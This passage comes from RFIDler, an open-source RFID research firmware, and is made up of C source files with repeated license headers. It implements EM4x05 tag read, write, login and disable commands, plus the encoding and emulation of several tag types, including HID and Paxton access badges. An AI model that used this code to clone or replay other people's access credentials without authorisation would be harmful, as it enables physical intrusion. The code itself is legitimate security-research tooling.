for(i= 0 ; i < 10 ; ++i, ++em)
{
for(j= parity= 0 ; j < 4 ; ++j, ++bin, ++em)
{
*em= *bin;
parity += *bin;
// calculate column parity for later
colparity[j] += *bin;
}
// output parity
*em= parity % 2;
}
// output column parity
for(i= 0 ; i < 4 ; ++i, ++em)
*em= colparity[i] % 2;
// output stop bit
*em= 0x00;
}
// em4x05 - comms as per em4469
// em4x05 doesn't use PWM for reader->tag comms, so hard code it
BOOL em4x05_send_command(BYTE *command, char address, BOOL send_data, BYTE *data, BOOL get_response, BYTE *response, unsigned int write_delay)
{
// 5 bit command + 6 bit address + parity + null = 13
// return value 8 bit PREAMBLE + 45 bit OTA + null = 54
// max command is 5 + 6 + 1 + 45 + 1 = 58
BYTE tmp[58], tmp2[33], *p, rlen;
// create command buffer
strcpy(tmp, command);
if(address != NO_ADDRESS)
{
// convert address to 4 bit binary array
inttobinarray(tmp2, (unsigned int) address, 4);
// convert to LSB
string_reverse(tmp2, 4);
// add reserved two bits
tmp2[4]= 0x00;
tmp2[5]= 0x00;
// add parity
tmp2[6]= parity(tmp2, EVEN, 6);
// add to command string
binarraytobinstring(tmp + strlen(command), tmp2, 7);
}
if(send_data)
{
// convert data to 32 bit array
hextobinarray(tmp2, data);
// convert to LSB
string_reverse(tmp2, 32);
// add to command string
rlen= strlen(tmp);
bin_to_em4x05_ota(tmp + rlen, tmp2);
// convert to human readable
binarraytobinstring(tmp + rlen, tmp + rlen, 45);
}
// debug
// UserMessage("\r\nsending: %s\r\n", tmp);
// start clock if not already running
if(!mGetLED_Clock() == mLED_ON)
{
InitHWReaderClock(OC_TOGGLE_PULSE, RFIDlerConfig.FrameClock / 2L, RFIDlerConfig.FrameClock, RWD_STATE_ACTIVE);
// give reader time to wake up and settle
Delay_us((RFIDlerConfig.FrameClock * RFIDlerConfig.RWD_Wake_Period) / 100L);
}
// send to tag
if(!em4x05_forward_link(tmp))
return FALSE;
// return should be 8 bit PREAMBLE + 45 bit OTA formatted data
if(get_response)
rlen= 53;
else
rlen= 8;
if(write_delay)
Delay_us((write_delay * RFIDlerConfig.FrameClock + RFIDlerConfig.RWD_Wait_Switch_RX_TX * RFIDlerConfig.FrameClock) / 100);
if(read_ask_data(RFIDlerConfig.FrameClock, RFIDlerConfig.DataRate, tmp, rlen, RFIDlerConfig.Sync, RFIDlerConfig.SyncBits, RFIDlerConfig.Timeout, ONESHOT_READ, BINARY) == rlen)
{
// check preamble
if(memcmp(tmp, EM4X05_Preamble, 8) != 0x00)
return FALSE;
// extract OTA data
if(get_response)
return em4x05_ota_to_hex(response, tmp + 8);
else
return TRUE;
}
return FALSE;
}
BOOL em4x05_forward_link(BYTE *data)
{
// wait for a rising edge from TAG so we start talking while tag is modulating
GetTimer_us(RESET);
while(READER_DATA)
if (GetTimer_us(NO_RESET) > RFIDlerConfig.Timeout)
return FALSE;
while(!READER_DATA)
if (GetTimer_us(NO_RESET) > RFIDlerConfig.Timeout)
return FALSE;
// send First Field Stop
pause_HW_clock_FC(RFIDlerConfig.RWD_Gap_Period, HIGH);
// run clock for 1/2 bit period
TimerWait_FC(RFIDlerConfig.RWD_Zero_Period);
// send data
// to send a 1, leave coil running for a full bit period
// to send a 0, switch off for 1st half of bit period (after 4 FCs), back on for 2nd half
while(*data)
{
if(*data == '1')
{
TimerWait_FC(RFIDlerConfig.RWD_One_Period);
}
else
{
TimerWait_FC(4);
pause_HW_clock_FC(RFIDlerConfig.RWD_Zero_Period - 4, HIGH);
TimerWait_FC(RFIDlerConfig.RWD_Zero_Period);
}
++data;
}
TimerWait_FC(RFIDlerConfig.RWD_Wait_Switch_TX_RX);
}
BOOL em4x05_get_uid(BYTE *response)
{
// UID is stored in block 1
return em4x05_read_word(response, 1);
}
// shut down TAG until next power up
BOOL em4x05_disable(void)
{
return em4x05_send_command(EM4X05_DISABLE, NO_ADDRESS, TRUE, "FFFFFFFF", FALSE, NULL, 0);
}
BOOL em4x05_write_word(BYTE word, BYTE *data, BOOL verify)
{
BOOL ret;
BYTE tmp[33];
ret= em4x05_send_command(EM4X05_WRITE_WORD, word, TRUE, data, FALSE, NULL, EM4X05_WRITE_DELAY);
// we should be checking command sent ok, but when testing never saw a correct preamble being returned by the tag.
// AN604010 also suggests that you simply ignore this, and read the block back instead which we always do to verify anyway
// so let's go with that!
//if(!ret)
// return FALSE;
if(!verify)
return TRUE;
if(!em4x05_read_word(tmp, word))
return FALSE;
if(memcmp(tmp, data, 8) != 0)
return FALSE;
return TRUE;
}
BOOL em4x05_read_word(BYTE *response, BYTE word)
{
return em4x05_send_command(EM4X05_READ_WORD, word, FALSE, NULL, TRUE, response, 0);
}
// convert 32 bit binary data to 45 bit EM4205 OTA format
// The 32 bit data field has an even parity bit inserted every 8 data bits, data is terminated with 8 column parity bits and a 0.
void bin_to_em4x05_ota(unsigned char *ota, unsigned char *bin)
{
unsigned char i, j, parity, colparity[8]= {0,0,0,0,0,0,0,0};
// output 4 blocks of 8 bits plus parity for each block
for(i= 0 ; i < 4 ; ++i, ++ota)
{
for(j= parity= 0 ; j < 8 ; ++j, ++bin, ++ota)
{
*ota= *bin;
parity += *bin;
// calculate column parity for later
colparity[j] += *bin;
}
// output parity
*ota= parity % 2;
}
// output column parity
for(i= 0 ; i < 8 ; ++i, ++ota)
*ota= colparity[i] % 2;
//output stop bit
*ota= 0x00;
}
// convert EM4205 OTA format to 32 bit hex
BOOL em4x05_ota_to_hex(unsigned char *hex, unsigned char *ota)
{
unsigned char i, j, colparity[8]= {0,0,0,0,0,0,0,0}, tmp[32];
// strip/check parity bits - 4 blocks, every 9th bit
for(i= 0 ; i < 4 ; ++i)
{
memcpy(tmp + i * 8, ota + i * 9, 8);
if(parity(tmp + i * 8, EVEN, 8) != ota[i * 9 + 8])
return FALSE;
}
// check column parity
for(i= 0 ; i < 4 ; ++i)
for(j= 0; j < 8 ; ++j)
colparity[j] += tmp[i * 8 + j];
for(i= 0 ; i < 8 ; ++i)
if(colparity[i] % 2 != ota[36 + i])
return FALSE;
// check terminating stop bit
if(ota[44] != 0x00)
return FALSE;
// data is sent from tag LSB, so reverse
string_reverse(tmp, 32);
binarraytohex(hex, tmp, 32);
return TRUE;
}
BOOL em4x05_config_block_show(BYTE *config, BYTE *info)
{
uint32_t value= hextoulong(info);
UserMessage("%s", " Info Block (0): ");
if(strlen(info) != 0)
{
UserMessage("%.8s\r\n\r\n", info);
UserMessageNum(" Customer Code: 0x%03x\r\n", GET_CONFIG(value, EM4X05_MASK_CUSTOMER, EM4X05_SHIFT_CUSTOMER));
UserMessageNum(" Capacitor: %d = ", GET_CONFIG(value, EM4X05_MASK_CAPACITOR, EM4X05_SHIFT_CAPACITOR));
UserMessage("%s\r\n", EM4X05_Capacitors[GET_CONFIG(value, EM4X05_MASK_CAPACITOR, EM4X05_SHIFT_CAPACITOR)]);
UserMessageNum(" Chip Type: %d = ", GET_CONFIG(value, EM4X05_MASK_CHIP, EM4X05_SHIFT_CHIP));
if(GET_CONFIG(value, EM4X05_MASK_CHIP, EM4X05_SHIFT_CHIP) == CHIP_TYPE_EM4205)
UserMessage("EM4205\r\n");
else
if(GET_CONFIG(value, EM4X05_MASK_CHIP, EM4X05_SHIFT_CHIP) == CHIP_TYPE_EM4305)
UserMessage("EM4305\r\n");
else
UserMessage("Invalid\r\n");
}
else
UserMessage("%s\r\n\r\n", "Not present");
UserMessage("\r\n PWD Block (2): %s\r\n\r\n", "Write Only");
value= hextoulong(config);
UserMessage(" Config Block (4): %.8s\r\n\r\n", config);
UserMessage(" Pigeon Mode: %s\r\n", GET_CONFIG(value, EM4X05_MASK_PIGEON, EM4X05_SHIFT_PIGEON) ? "True" : "False");
UserMessage(" RTF: %s\r\n", GET_CONFIG(value, EM4X05_MASK_RTF, EM4X05_SHIFT_RTF) ? "True" : "False");
UserMessage(" Disable: %s\r\n", GET_CONFIG(value, EM4X05_MASK_DISABLE, EM4X05_SHIFT_DISABLE) ? "True" : "False");
UserMessage(" Write Login: %s\r\n", GET_CONFIG(value, EM4X05_MASK_WRITE_LOGIN, EM4X05_SHIFT_WRITE_LOGIN) ? "True" : "False");
UserMessage(" Read Login: %s\r\n", GET_CONFIG(value, EM4X05_MASK_READ_LOGIN, EM4X05_SHIFT_READ_LOGIN) ? "True" : "False");
UserMessageNum(" LWR: %d\r\n", GET_CONFIG(value, EM4X05_MASK_LWR, EM4X05_SHIFT_LWR));
UserMessage(" Delayed On: %d = ", GET_CONFIG(value, EM4X05_MASK_DELAYED_ON, EM4X05_SHIFT_DELAYED_ON));
UserMessage("%s\r\n", EM4X05_Delays[GET_CONFIG(value, EM4X05_MASK_DELAYED_ON, EM4X05_SHIFT_DELAYED_ON)]);
UserMessage(" Encoder: %d = ", GET_CONFIG(value, EM4X05_MASK_ENCODER, EM4X05_SHIFT_ENCODER));
if(GET_CONFIG(value, EM4X05_MASK_ENCODER, EM4X05_SHIFT_ENCODER) == 0x01)
UserMessage("%s\r\n", "Manchester");
else
if(GET_CONFIG(value, EM4X05_MASK_ENCODER, EM4X05_SHIFT_ENCODER) == 0x02)
UserMessage("%s\r\n", "BiPhase");
else
UserMessage("%s\r\n", "Invalid");
UserMessageNum(" Data Rate: %d = ", GET_CONFIG(value, EM4X05_MASK_DATA_RATE, EM4X05_SHIFT_DATA_RATE));
UserMessageNum("RF/%d\r\n", GET_CONFIG(value, EM4X05_MASK_DATA_RATE, EM4X05_SHIFT_DATA_RATE) * 2 + 2);
return TRUE;
}
// create a config block based on current tag settings
BOOL em4x05_create_config_block(BYTE *config)
{
uint32_t value= hextoulong(config);
// data rate
if(RFIDlerConfig.DataRate >= 8 && RFIDlerConfig.DataRate <= 64)
value= SET_CONFIG(value, EM4X05_MASK_DATA_RATE, EM4X05_SHIFT_DATA_RATE, (RFIDlerConfig.DataRate - 2) / 2);
else
return FALSE;
// modulation
if(RFIDlerConfig.Manchester && RFIDlerConfig.Modulation == MOD_MODE_ASK_OOK)
value= SET_CONFIG(value, EM4X05_MASK_ENCODER, EM4X05_SHIFT_ENCODER, EM4X05_MOD_MANCHESTER);
else
{
if(RFIDlerConfig.BiPhase && RFIDlerConfig.Modulation == MOD_MODE_ASK_OOK)
value= SET_CONFIG(value, EM4X05_MASK_ENCODER, EM4X05_SHIFT_ENCODER, EM4X05_MOD_BIPHASE);
else
return FALSE;
}
// data blocks
if((RFIDlerConfig.DataBits / EM4X05_BLOCKSIZE + EM4X05_USER_DATA_BLOCK_NUM) > EM4X05_DATABLOCKS)
return FALSE;
value= SET_CONFIG(value, EM4X05_MASK_LWR, EM4X05_SHIFT_LWR, ((RFIDlerConfig.DataBits / EM4X05_BLOCKSIZE + EM4X05_USER_DATA_BLOCK_NUM - 1) & (EM4X05_MASK_LWR >> EM4X05_SHIFT_LWR)));
ulongtohex(config, value);
return TRUE;
}
// set a config block suitable for emulating
BOOL em4x05_emulate_config_block(BYTE *config, BYTE target_tagtype)
{
switch (target_tagtype)
{
case TAG_TYPE_ASK_RAW:
memcpy(config, EM4X05_DEFAULT_CONFIG_BLOCK, HEXDIGITS(EM4X05_BLOCKSIZE));
return em4x05_create_config_block(config);
case TAG_TYPE_EM4X02:
case TAG_TYPE_Q5:
case TAG_TYPE_UNIQUE:
case TAG_TYPE_PAXTON:
memcpy(config, EM4X05_UNIQUE_CONFIG_BLOCK, HEXDIGITS(EM4X05_BLOCKSIZE));
return TRUE;
case TAG_TYPE_EM4X05:
memcpy(config, EM4X05_DEFAULT_CONFIG_BLOCK, HEXDIGITS(EM4X05_BLOCKSIZE));
return TRUE;
case TAG_TYPE_FDXB:
memcpy(config, EM4X05_FDXB_CONFIG_BLOCK, HEXDIGITS(EM4X05_BLOCKSIZE));
return TRUE;
default:
return FALSE;
}
}
// password auth
BOOL em4x05_login(BYTE *response, BYTE *pwd)
{
BYTE tmp[33];
// restart the tag
if(!em4x05_get_uid(tmp))
return FALSE;
if(strlen(pwd) == 0)
pwd= EM4X05_PWD_DEFAULT;
if(em4x05_send_command(EM4X05_LOGIN, NO_ADDRESS, TRUE, pwd, FALSE, NULL, 0))
{
strcpy(response, "OK");
return TRUE;
}
return FALSE;
}
================================================
FILE: firmware/Pic32/RFIDler.X/src/emulate.c
================================================
/***************************************************************************
* A copy of the GNU GPL is appended to this file. *
* *
* This licence is based on the nmap licence, and we express our gratitude *
* for the work that went into producing it. There is no other connection *
* between RFIDler and nmap either expressed or implied. *
* *
********************** IMPORTANT RFIDler LICENSE TERMS ********************
* *
* *
* All references to RFIDler herein imply all it's derivatives, namely: *
* *
* o RFIDler-LF Standard *
* o RFIDler-LF Lite *
* o RFIDler-LF Nekkid *
* *
* *
* RFIDler is (C) 2013-2014 Aperture Labs Ltd. *
* *
* This program is free software; you may redistribute and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
* right to use, modify, and redistribute this software under certain *
* conditions. If you wish to embed RFIDler technology into proprietary *
* software or hardware, we sell alternative licenses *
* (contact sales@aperturelabs.com). *
* *
* Note that the GPL places important restrictions on "derivative works", *
* yet it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we interpret that term as broadly as copyright law *
* allows. For example, we consider an application to constitute a *
* derivative work for the purpose of this license if it does any of the *
* following with any software or content covered by this license *
* ("Covered Software"): *
* *
* o Integrates source code from Covered Software. *
* *
* o Is designed specifically to execute Covered Software and parse the *
* results (as opposed to typical shell or execution-menu apps, which will *
* execute anything you tell them to). *
* *
* o Includes Covered Software in a proprietary executable installer. The *
* installers produced by InstallShield are an example of this. Including *
* RFIDler with other software in compressed or archival form does not *
* trigger this provision, provided appropriate open source decompression *
* or de-archiving software is widely available for no charge. For the *
* purposes of this license, an installer is considered to include Covered *
* Software even if it actually retrieves a copy of Covered Software from *
* another source during runtime (such as by downloading it from the *
* Internet). *
* *
* o Links (statically or dynamically) to a library which does any of the *
* above. *
* *
* o Executes a helper program, module, or script to do any of the above. *
* *
* This list is not exclusive, but is meant to clarify our interpretation *
* of derived works with some common examples. Other people may interpret *
* the plain GPL differently, so we consider this a special exception to *
* the GPL that we apply to Covered Software. Works which meet any of *
* these conditions must conform to all of the terms of this license, *
* particularly including the GPL Section 3 requirements of providing *
* source code and allowing free redistribution of the work as a whole. *
* *
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
* linked combinations including the two. *
* *
* Any redistribution of Covered Software, including any derived works, *
* must obey and carry forward all of the terms of this license, including *
* obeying all GPL rules and restrictions. For example, source code of *
* the whole work must be provided and free redistribution must be *
* allowed. All GPL references to "this License", are to be treated as *
* including the terms and conditions of this license text as well. *
* *
* Because this license imposes special exceptions to the GPL, Covered *
* Work may not be combined (even as part of a larger work) with plain GPL *
* software. The terms, conditions, and exceptions of this license must *
* be included as well. This license is incompatible with some other open *
* source licenses as well. In some cases we can relicense portions of *
* RFIDler or grant special permissions to use it in other open source *
* software. Please contact sales@aperturelabs.com with any such requests.*
* Similarly, we don't incorporate incompatible open source software into *
* Covered Software without special permission from the copyright holders. *
* *
* If you have any questions about the licensing restrictions on using *
* RFIDler in other works, are happy to help. As mentioned above, we also *
* offer alternative license to integrate RFIDler into proprietary *
* applications and appliances. These contracts have been sold to dozens *
* of software vendors, and generally include a perpetual license as well *
* as providing for priority support and updates. They also fund the *
* continued development of RFIDler. Please email sales@aperturelabs.com *
* for further information. *
* If you have received a written license agreement or contract for *
* Covered Software stating terms other than these, you may choose to use *
* and redistribute Covered Software under those terms instead of these. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
* to the RFIDler mailing list for possible incorporation into the *
* main distribution. By sending these changes to Aperture Labs Ltd. or *
* one of the Aperture Labs Ltd. development mailing lists, or checking *
* them into the RFIDler source code repository, it is understood (unless *
* you specify otherwise) that you are offering the RFIDler Project *
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
* modify, and relicense the code. RFIDler will always be available Open *
* Source, but this is important because the inability to relicense code *
* has caused devastating problems for other Free Software projects (such *
* as KDE and NASM). We also occasionally relicense the code to third *
* parties as discussed above. If you wish to specify special license *
* conditions of your contributions, just say so when you send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
* license file for more details (it's in a COPYING file included with *
* RFIDler, and also available from *
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
* *
***************************************************************************/
// Author: Adam Laurie
#include "HardwareProfile.h"
#include "rfidler.h"
#include "emulate.h"
#include "unique.h"
#include "paxton.h"
#include "em.h"
#include "indala.h"
#include "ask.h"
#include "fsk.h"
BOOL emulate_tag(unsigned char *UID)
{
switch(RFIDlerConfig.TagType)
{
case TAG_TYPE_AWID_26:
if(!bcd_to_awid26_bin(TmpBuff, UID))
return FALSE;
return send_fsk_bin(TmpBuff, RFIDlerConfig.DataBits, RFIDlerConfig.FrameClock, RFIDlerConfig.DataRate, RFIDlerConfig.DataRateSub0, RFIDlerConfig.DataRateSub1, RFIDlerConfig.Repeat);
case TAG_TYPE_Q5:
case TAG_TYPE_EM4X02:
if(!hex_to_em4x02_bin(TmpBuff, UID))
return FALSE;
return send_ask_bin(TmpBuff, RFIDlerConfig.DataBits, RFIDlerConfig.FrameClock, RFIDlerConfig.DataRate, RFIDlerConfig.Repeat);
case TAG_TYPE_HID_26:
if(!bcd_to_hid26_bin(TmpBuff, UID))
return FALSE;
return send_fsk_bin(TmpBuff, RFIDlerConfig.DataBits, RFIDlerConfig.FrameClock, RFIDlerConfig.DataRate, RFIDlerConfig.DataRateSub0, RFIDlerConfig.DataRateSub1, RFIDlerConfig.Repeat);
case TAG_TYPE_FDXB:
if(!uid_to_fdxb_bin(TmpBuff, UID))
return FALSE;
return send_ask_bin(TmpBuff, RFIDlerConfig.DataBits, RFIDlerConfig.FrameClock, RFIDlerConfig.DataRate, RFIDlerConfig.Repeat);
// TODO
case TAG_TYPE_HDX:
if(!uid_to_hdx_bin(TmpBuff, UID))
return FALSE;
return FALSE;
case TAG_TYPE_UNIQUE:
if(!hex_to_unique_bin(TmpBuff, UID))
return FALSE;
return send_ask_bin(TmpBuff, RFIDlerConfig.DataBits, RFIDlerConfig.FrameClock, RFIDlerConfig.DataRate, RFIDlerConfig.Repeat);
case TAG_TYPE_PAXTON:
if(!hex_to_paxton_bin(TmpBuff, UID))
return FALSE;
return send_ask_bin(TmpBuff, RFIDlerConfig.DataBits, RFIDlerConfig.FrameClock, RFIDlerConfig.DataRate, RFIDlerConfig.Repeat);
case TAG_TYPE_INDALA_64:
case TAG_TYPE_INDALA_224:
// how to generate indala hex from UID is unknown, so for now we will need to be fed RAW HEX
return send_indala_raw(UID);
default:
return FALSE;
}
return TRUE;
}
================================================
FILE: firmware/Pic32/RFIDler.X/src/fdxb.c
================================================
/***************************************************************************
* A copy of the GNU GPL is appended to this file. *
* *
* This licence is based on the nmap licence, and we express our gratitude *
* for the work that went into producing it. There is no other connection *
* between RFIDler and nmap either expressed or implied. *
* *
********************** IMPORTANT RFIDler LICENSE TERMS ********************
* *
* *
* All references to RFIDler herein imply all it's derivatives, namely: *
* *
* o RFIDler-LF Standard *
* o RFIDler-LF Lite *
* o RFIDler-LF Nekkid *
* *
* *
* RFIDler is (C) 2013-2014 Aperture Labs Ltd. *
* *
* This program is free software; you may redistribute and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
* right to use, modify, and redistribute this software under certain *
* conditions. If you wish to embed RFIDler technology into proprietary *
* software or hardware, we sell alternative licenses *
* (contact sales@aperturelabs.com). *
* *
* Note that the GPL places important restrictions on "derivative works", *
* yet it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we interpret that term as broadly as copyright law *
* allows. For example, we consider an application to constitute a *
* derivative work for the purpose of this license if it does any of the *
* following with any software or content covered by this license *
* ("Covered Software"): *
* *
* o Integrates source code from Covered Software. *
* *
* o Is designed specifically to execute Covered Software and parse the *
* results (as opposed to typical shell or execution-menu apps, which will *
* execute anything you tell them to). *
* *
* o Includes Covered Software in a proprietary executable installer. The *
* installers produced by InstallShield are an example of this. Including *
* RFIDler with other software in compressed or archival form does not *
* trigger this provision, provided appropriate open source decompression *
* or de-archiving software is widely available for no charge. For the *
* purposes of this license, an installer is considered to include Covered *
* Software even if it actually retrieves a copy of Covered Software from *
* another source during runtime (such as by downloading it from the *
* Internet). *
* *
* o Links (statically or dynamically) to a library which does any of the *
* above. *
* *
* o Executes a helper program, module, or script to do any of the above. *
* *
* This list is not exclusive, but is meant to clarify our interpretation *
* of derived works with some common examples. Other people may interpret *
* the plain GPL differently, so we consider this a special exception to *
* the GPL that we apply to Covered Software. Works which meet any of *
* these conditions must conform to all of the terms of this license, *
* particularly including the GPL Section 3 requirements of providing *
* source code and allowing free redistribution of the work as a whole. *
* *
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
* linked combinations including the two. *
* *
* Any redistribution of Covered Software, including any derived works, *
* must obey and carry forward all of the terms of this license, including *
* obeying all GPL rules and restrictions. For example, source code of *
* the whole work must be provided and free redistribution must be *
* allowed. All GPL references to "this License", are to be treated as *
* including the terms and conditions of this license text as well. *
* *
* Because this license imposes special exceptions to the GPL, Covered *
* Work may not be combined (even as part of a larger work) with plain GPL *
* software. The terms, conditions, and exceptions of this license must *
* be included as well. This license is incompatible with some other open *
* source licenses as well. In some cases we can relicense portions of *
* RFIDler or grant special permissions to use it in other open source *
* software. Please contact sales@aperturelabs.com with any such requests.*
* Similarly, we don't incorporate incompatible open source software into *
* Covered Software without special permission from the copyright holders. *
* *
* If you have any questions about the licensing restrictions on using *
* RFIDler in other works, are happy to help. As mentioned above, we also *
* offer alternative license to integrate RFIDler into proprietary *
* applications and appliances. These contracts have been sold to dozens *
* of software vendors, and generally include a perpetual license as well *
* as providing for priority support and updates. They also fund the *
* continued development of RFIDler. Please email sales@aperturelabs.com *
* for further information. *
* If you have received a written license agreement or contract for *
* Covered Software stating terms other than these, you may choose to use *
* and redistribute Covered Software under those terms instead of these. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
* to the RFIDler mailing list for possible incorporation into the *
* main distribution. By sending these changes to Aperture Labs Ltd. or *
* one of the Aperture Labs Ltd. development mailing lists, or checking *
* them into the RFIDler source code repository, it is understood (unless *
* you specify otherwise) that you are offering the RFIDler Project *
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
* modify, and relicense the code. RFIDler will always be available Open *
* Source, but this is important because the inability to relicense code *
* has caused devastating problems for other Free Software projects (such *
* as KDE and NASM). We also occasionally relicense the code to third *
* parties as discussed above. If you wish to specify special license *
* conditions of your contributions, just say so when you send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
* license file for more details (it's in a COPYING file included with *
* RFIDler, and also available from *
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
* *
***************************************************************************/
// Author: Adam Laurie
// ISO-11784/5 FDX-B as per http://www.webcitation.org/5fsCRL5Zz
#include "HardwareProfile.h"
#include "fdxb.h"
#include "ask.h"
#include "rfidler.h"
#include "util.h"
BOOL fdxb_get_uid(BYTE *response)
{
return ask_raw_get_uid(response);
}
// convert human readable UID to 128 bit fdx-b HEX string
BOOL uid_to_fdxb_hex(BYTE *hex, BYTE *uid)
{
BYTE tmp[128];
if(!uid_to_fdxb_bin(tmp, uid))
return FALSE;
binarraytohex(hex, tmp, 128);
return TRUE;
}
// convert human readable UID to 128 bit fdx-b binary array
BOOL uid_to_fdxb_bin(BYTE *bin, BYTE *uid)
{
BYTE tmp1[64], crc[8], i;
unsigned int country, crctag;
unsigned long long id;
memset(tmp1, 0x00, 64);
// set animal flag
if(uid[0] == 'A')
tmp1[0]= 0x01;
else
if(uid[0] != '0')
return FALSE;
// set data flag
if(uid[1] == 'D')
tmp1[15]= 0x01;
else
if(uid[1] != '0')
return FALSE;
// set country code - 4 hex digits -> 10 bits
country= bcdtouint(uid + 2, 4);
inttobinarray(tmp1 + 16, country, 10);
// set national ID - 12 hex digits -> 38 bits
id= bcdtoulonglong(uid + 6, 12);
ulonglongtobinarray(tmp1 + 26, id, 38);
// reverse binary
string_reverse(tmp1, 64);
// add header for over-the-air: 10 x 0x00 + 0x01
memset(bin, 0x00, 10);
// every 9th bit is 0x01, but we can just fill the rest with 0x01 and overwrite
memset(bin + 10, 0x01, 118);
//data is 8 blocks of 8 bits, plus obfuscation bit
for(i= 0 ; i < 8 ; ++i)
memcpy(bin + 11 + i * 9, tmp1 + i * 8, 8);
// calculate & append crc for 64 bits of data
for(i= 0 ; i < 8 ; ++i)
crc[i]= (BYTE) binarraytoint(tmp1 + i * 8, 8);
crctag= crc_ccitt(crc, 8);
inttobinarray(bin + 83, crctag >> 8, 8);
inttobinarray(bin + 92, crctag, 8);
// add trailer
for(i= 0 ; i < 3 ; ++i)
memset(bin + 101 + i * 9, 0x00, 8);
return TRUE;
}
// convert fdxb 128 bit binary array to human readable UID
// format is ADCCCCIIIIIIIIIIII where A is 'A' or '0' for animal / non-animal,
// D is 'D' or '0' for Data block available / No data available,
// CCCC is ISO-3166 country code or ICAR.ORG manufacturer code
// IIIIIIIIIIII is national ID
BOOL fdxb_hex_to_uid(BYTE *uid, BYTE *hex)
{
BYTE tmp[128];
unsigned int country;
unsigned long long id;
// strip headers etc.
if(!fdxb_hex_to_bin(tmp, hex))
return FALSE;
// reverse binary
string_reverse(tmp, 64);
// output animal flag
if(tmp[0])
uid[0]= 'A';
else
uid[0]= '0';
// output data flag
if(tmp[15])
uid[1]= 'D';
else
uid[1]= '0';
// output country/icar code
country= binarraytoint(&tmp[16], 10);
sprintf(&uid[2], "%04u", country);
// output national ID
id= binarraytoulonglong(&tmp[26], 38);
sprintf(&uid[6], "%012llu", id);
return TRUE;
}
// convert 32 hex digit/128 bit FDXB ID to 64 bit raw UID
// safe to do in-place as we use a scratchpad
BOOL fdxb_hex_to_bin(BYTE *response, BYTE *fdxb)
{
BYTE i, crc_check[8], trailer[9]= {0,0,0,0,0,0,0,0,1}, tmp[128];
unsigned int crctag;
hextobinarray(tmp, fdxb);
// check header - should be 10 x 0x00 + 0x01
for(i= 0 ; i < 10 ; ++i)
if(tmp[i] != 0x00)
return FALSE;
if(tmp[10] != 0x01)
return FALSE;
// check CRC
// calculate crc for 64 bits of data (8 blocks of 8 plus obfuscation bit)
for(i= 0 ; i < 8 ; ++i)
crc_check[i]= (BYTE) binarraytoint(tmp + 11 + i * 9, 8);
// stored crc (2 x 8 + 1) is at offset 83 (11 + 64 + 8)
crctag= binarraytoint(tmp + 83, 8) << 8;
crctag += binarraytoint(tmp + 92, 8);
if (crctag != crc_ccitt(crc_check, 8))
return FALSE;
// check trailer - '000000001' x 3 at offset 101
for(i= 0 ; i < 3 ; ++i)
if(memcmp(tmp + 101 + i * 9, trailer, 9) != 0)
return FALSE;
// data is 8 blocks of 8 bits, plus obfuscation bit so check and strip every 9th bit
for(i= 0 ; i < 8 ; ++i)
{
if(tmp[11 + ((i + 1) * 9) - 1] != 0x01)
return FALSE;
memcpy(response + i * 8, tmp + 11 + (i * 9), 8);
}
return TRUE;
}
================================================
FILE: firmware/Pic32/RFIDler.X/src/fsk.c
================================================
/***************************************************************************
* A copy of the GNU GPL is appended to this file. *
* *
* This licence is based on the nmap licence, and we express our gratitude *
* for the work that went into producing it. There is no other connection *
* between RFIDler and nmap either expressed or implied. *
* *
********************** IMPORTANT RFIDler LICENSE TERMS ********************
* *
* *
* All references to RFIDler herein imply all it's derivatives, namely: *
* *
* o RFIDler-LF Standard *
* o RFIDler-LF Lite *
* o RFIDler-LF Nekkid *
* *
* *
* RFIDler is (C) 2013-2014 Aperture Labs Ltd. *
* *
* This program is free software; you may redistribute and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
* right to use, modify, and redistribute this software under certain *
* conditions. If you wish to embed RFIDler technology into proprietary *
* software or hardware, we sell alternative licenses *
* (contact sales@aperturelabs.com). *
* *
* Note that the GPL places important restrictions on "derivative works", *
* yet it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we interpret that term as broadly as copyright law *
* allows. For example, we consider an application to constitute a *
* derivative work for the purpose of this license if it does any of the *
* following with any software or content covered by this license *
* ("Covered Software"): *
* *
* o Integrates source code from Covered Software. *
* *
* o Is designed specifically to execute Covered Software and parse the *
* results (as opposed to typical shell or execution-menu apps, which will *
* execute anything you tell them to). *
* *
* o Includes Covered Software in a proprietary executable installer. The *
* installers produced by InstallShield are an example of this. Including *
* RFIDler with other software in compressed or archival form does not *
